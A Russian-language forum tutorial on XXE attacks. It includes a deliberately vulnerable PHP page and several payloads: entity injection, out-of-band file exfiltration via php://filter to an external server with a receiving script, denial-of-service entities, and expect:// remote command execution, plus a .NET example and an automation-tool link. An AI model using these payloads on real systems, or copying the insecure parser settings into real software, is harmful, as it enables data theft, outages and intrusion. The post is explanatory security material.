• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

XXE атаки

Miron_T31

Местный
Сообщения
195
Реакции
160
0 руб.
Привет братья формучане!
Сегодня будет разговор об XXE – атаках, что это, почему, зачем, а главное посмотрим нагрузки и пример в .Net приложениях.
Идея уязвимости в том, что мы используем внешние сущности при парсинге xml файлов, рассмотрим сразу пример.Создадим файл index.php у себя на сервере (код частично взят с root-me.org)
<?php
echo '<html>';
echo '<header><title>XXE</title></header>';
echo '<body>';
if ( ! isset($_GET['action']) ) $_GET['action']="checker";
if($_GET['action'] == "checker"){
libxml_disable_entity_loader(false);
libxml_use_internal_errors(true);
echo '<h2>XXE</h2>
<form method="post" action="index.php">
<input type="text" name="url" placeholder="" />
<input type="submit" />
</form>';
if(isset($_POST["url"]) && !(empty($_POST["url"]))) {
$url = $_POST["url"];
echo "<p>URL : ".htmlentities($url)."</p>";
try {
$ch = curl_init("$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT ,0);
$inject = curl_exec( $ch );
curl_close($ch);
$string = simplexml_load_string($inject, null, LIBXML_NOENT);
if ( ! is_object($string)) throw new Exception("error");

foreach($string->channel->item as $row){
print "<br />";
print "===================================================";
print "<br />";
print htmlentities($row->title);
print "<br />";
print "===================================================";
print "<br />";
print "<h4 style='color: green;'>XML document is valid</h4>";
}
} catch (Exception $e) {
print "<h4 style='color: red;'>XML document is not valid</h4>";
}

}
}
if($_GET['action'] == "auth"){
echo '<strong>Login</strong><br /><form METHOD="POST">
<input type="text" name="username" />
<br />
<input type="password" name="password" />
<br />
<input type="submit" />
</form>
';
}
echo '</body></html>';
?>

Вот так выглядит наша форма:
F-yHLtkPUsY.jpg
А теперь взглянем на такой XML файл, вроде бы ничего необычного:

<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>W3Schools Home Page</title>
<link>http://www.w3schools.com</link>
<description>Free web building tutorials</description>
<item>
<title>RSS Tutorial</title>
<link>http://www.w3schools.com/xml/xml_rss.asp</link>
<description>New RSS tutorial on W3Schools</description>
</item>
<item>
<title>XML Tutorial</title>
<link>http://www.w3schools.com/xml</link>
<description>New XML tutorial on W3Schools</description>
</item>
</channel>
</rss>


Загрузим его в отдельный файл на сервер и скормим нашему текстовому полю
aRXe61Gw0xU.jpg
В результате получаем сообщение, что наш xml файл валидный, то есть это означает, что структура тегов нашего xml совпадает с ожидаемой, а так же видим, что вывелся загловок RSS Tutorial, то есть у нас есть вывод.Теперь изменим файл и добавим DTD сущность:

<!DOCTYPE rss [
<!ENTITY shp "CODEBY">
] >
<rss version="2.0" xml:base="http://example.com" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title>XXE</title>
<link>http://example.com</link>
<description></description>
<language>en</language>
<item>
<title>Hello &shp;</title>
<link>http://example.com</link>
<description>some bullshit</description>
<comments>http://example.com#comments</comments>
<category domain="http://example.com">xxe</category>
<pubDate>Thu, 15 Jan 2015 23:08:50 +0000</pubDate>
<dc:creator>Unknown</dc:creator>
<guid isPermaLink="false">31337</guid>
</item>
</channel>
</rss>


Получаем в результате запроса следующий вариант:
XOxYENrIK30.jpg

Но не всегда парсеры выводят содержимое на страницу. В таком случае нам поможет техника Out-Of-Band. Это техника работает в три этапа.
Этап первый – создаем нагрузку:
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=CoDEbY.php">
<!ENTITY % intern "<!ENTITY % trick SYSTEM 'URL/get.php?s=%payl;'>">

Видим, что на этот раз файл состоит из двух сущностей, одна которая создает Payload, вторая, которая отсылает его на внешний сервис.
Этап второй – создаем принимающий скрипт:
<?php
$character = $_GET["s"];
$file = fopen("flag.txt","w");
fwrite($file,$character);
fclose($file);
?>

Этап третий - подгружаем в наш скрипт ссылку на на payload с этапа 1
Векторы XXE
1) Читать локальные файлы и ресурсы с помощью врапперов php://, file://
2) Проводить DOS атаки
3) Получить RCE
Если с DDOS payloads всё понятно (приведу их ниже)

<!DOCTYPE input [<!ENTITY pay SYSTEM "file:///dev/random" >]> &pay; для linux
<!ENTITY dos SYSTEM "c:\pagefile.sys"> для windows


то посмотрим на последний вариант.
Здесь, для получения RCE, используется wrapper except.
Пример:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE rss [
<!ENTITY shp SYSTEM "expect://id">
] >

Результат:
4fGcuTv18e8.jpg
На этом закончим с веб приложением и если с вебом всё более-менее понятно, взглянем как эксплуатировать OOB в .Net приложениях.Для этого я написал небольшое приложение:
private void button1_Click(object sender, EventArgs e)
{
openFileDialog1.ShowDialog();
string xml = File.ReadAllText(openFileDialog1.FileName);
XmlDocument xmlDoc = new XmlDocument();
xmlDoc.XmlResolver = null;
xmlDoc.LoadXml(xml);
MessageBox.Show(xmlDoc.InnerText);
}

49op7cVfOAI.jpg
После нажатия кнопки программа просит выбрать файл xml, выберем файл с содержимым:
<?xml version="1.0" ?>
<!DOCTYPE doc
[<!ENTITY win SYSTEM "URL/321.xml" >]>
<doc> &win;</doc>

В результате получаем профит, текст именно в этом файле.На этом всё
И вот софтик с github для автоматизации всех этих действий:
https://github.com/enjoiz/XXEinjector
не компипаст,а распространение информации
 
Сверху Снизу